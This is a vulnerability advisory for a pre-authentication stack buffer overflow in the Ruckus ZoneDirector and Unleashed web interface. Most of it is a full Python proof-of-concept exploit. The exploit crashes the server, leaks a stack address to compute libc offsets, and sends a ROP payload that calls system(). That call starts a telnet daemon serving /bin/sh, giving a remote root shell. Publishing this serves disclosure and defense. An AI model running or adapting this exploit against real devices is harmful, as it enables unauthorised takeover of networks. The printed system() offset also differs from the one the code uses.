<--

Stack buffer overflow in webs

Aleph Research Advisory

Identifier

Severity

Critical

Product

  • ZoneDirector
  • Unleashed

Vulnerable Version

  • ZoneDirector: 9.9 and before
  • ZoneDirector: 9.10.x
  • ZoneDirector: 9.12.x
  • ZoneDirector: 9.13.x
  • ZoneDirector: 10.0.x
  • ZoneDirector: 10.1.x
  • ZoneDirector: 10.2.x
  • ZoneDirector: 10.3.x
  • Unleashed: 200.6 and before
  • Unleashed: 200.7

Technical Details

A stack buffer overflow in webs in Ruckus Wireless Unleashed through 200.7.10.102.92 allows a remote attacker to execute code via an unauthenticated crafted HTTP request.

Information about the exploitation of this vulnerability can alos be found in our DEFCON 28 talk.

Proof Of Concept

import time
import struct
import argparse
import urllib3
import telnetlib

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TELNET_PORT = 1337


def is_router_up(router_ip, router_port):
    try:
        response = requests.get("https://{}:{}/".format(router_ip, router_port), verify=False)
        if response.status_code == requests.status_codes.codes.OK:
            return True
    except requests.exceptions.ConnectionError:
        return False


def crash_webserver(router_ip, router_port):

    # This request will cause a SEGFAULT and crash our webserver
    # We crash the webserver to a clean state in order to be able to use our info leak.
    payload = "A" * 268
    try:
        exploit_request(router_ip, router_port, payload)
    except requests.exceptions.ConnectionError:
        print("[+] Successfully crashed webserver")


def leak_address(router_ip, router_port):
    payload = "A" * 264
    response = exploit_request(router_ip, router_port, payload)

    # Parse the response and extract the leaked address
    end_index = response.find(b"</p>") - 4
    leaked_address = struct.unpack("<I", response[end_index - 8:end_index - 4])

    print("")
    print("[+] Got address leak from the stack")
    print("[+] Leaked address: {}".format(hex(leaked_address[0])))

    libc_address = leaked_address[0] + 0x5e3034  # Our libuClibc library offset in a clean state
    print("[+] libc address: {}".format(hex(libc_address)))
    return (libc_address, leaked_address[0])


def exploit_router(router_ip, router_port, libc_address, buffer_address):
    print("[*] Crafting payload")

    cmd = "telnetd -p {} -l /bin/sh #".format(TELNET_PORT).encode()
    payload = cmd + b"A" * (268 - len(cmd)) + b"CCCC"
    payload += struct.pack("<I", libc_address + 0x31e90)  # pop {r0, pc}
    payload += struct.pack("<I", buffer_address)  # address of the command to execute
    payload += struct.pack("<I", libc_address + 0x52224)  # system() address

    print("[*] Address of the first gadget = {}".format(hex(libc_address + 0x31e90)))
    print("[*] Address of our buffer = {}".format(hex(buffer_address)))
    print("[*] Address of system = {}".format(hex(libc_address + 0x62224)))
    print("[*] Sending exploit!")
    exploit_request(router_ip, router_port, payload)


def exploit_request(router_ip, router_port, payload):
    data = {"flag": "b", "contentKey": payload}
    a = requests.post("https://{}:{}/admin/webPage/wifiNetwork/wlanSysConfirm.jsp".format(router_ip, router_port), verify=False, data=data)
    return a.content


def telnet_connect(router_ip):
    with telnetlib.Telnet(router_ip, TELNET_PORT) as tn:
        tn.interact()


def main():
    leaked = False

    parser = argparse.ArgumentParser(description="Exploit for ruckus devices.")
    parser.add_argument("ip", type=str, metavar="IP", help="ip address of the ruckus device")
    parser.add_argument("port", type=int, metavar="PORT", help="ruckus web port [default: 443]", nargs='?', default=443)

    args = parser.parse_args()
    router_ip = args.ip
    router_port = args.port

    print("[*] Checking if the web interface is up...")
    if not is_router_up(router_ip, router_port):
        print("[-] web interface is down!")
        return

    print("[+] Web interface is up")
    print("[*] Crashing webserver")

    crash_webserver(router_ip, router_port)
    print("[*] Waiting for watchdog to restart webserver")
    while not leaked:
        print(".", end="", flush=True)
        time.sleep(0.5)
        try:
            (libc_address, buffer_address) = leak_address(router_ip, router_port)
            leaked = True
        except requests.exceptions.ConnectionError:
            # This will happen until the webserver is up again.
            pass

    print("[*] Sleeping...")
    time.sleep(8)
    next_buffer_address = buffer_address + 4005888  # As noticed on a clean state, we are able to predict our next request buffer address.
    try:
        exploit_router(router_ip, router_port, libc_address, next_buffer_address)
    except requests.exceptions.ConnectionError:
        print("[+] Telnet should be open now on port {}".format(TELNET_PORT))

    telnet_connect(router_ip)


if __name__ == "__main__":
    main()

Timeline

Posts

Credit

External References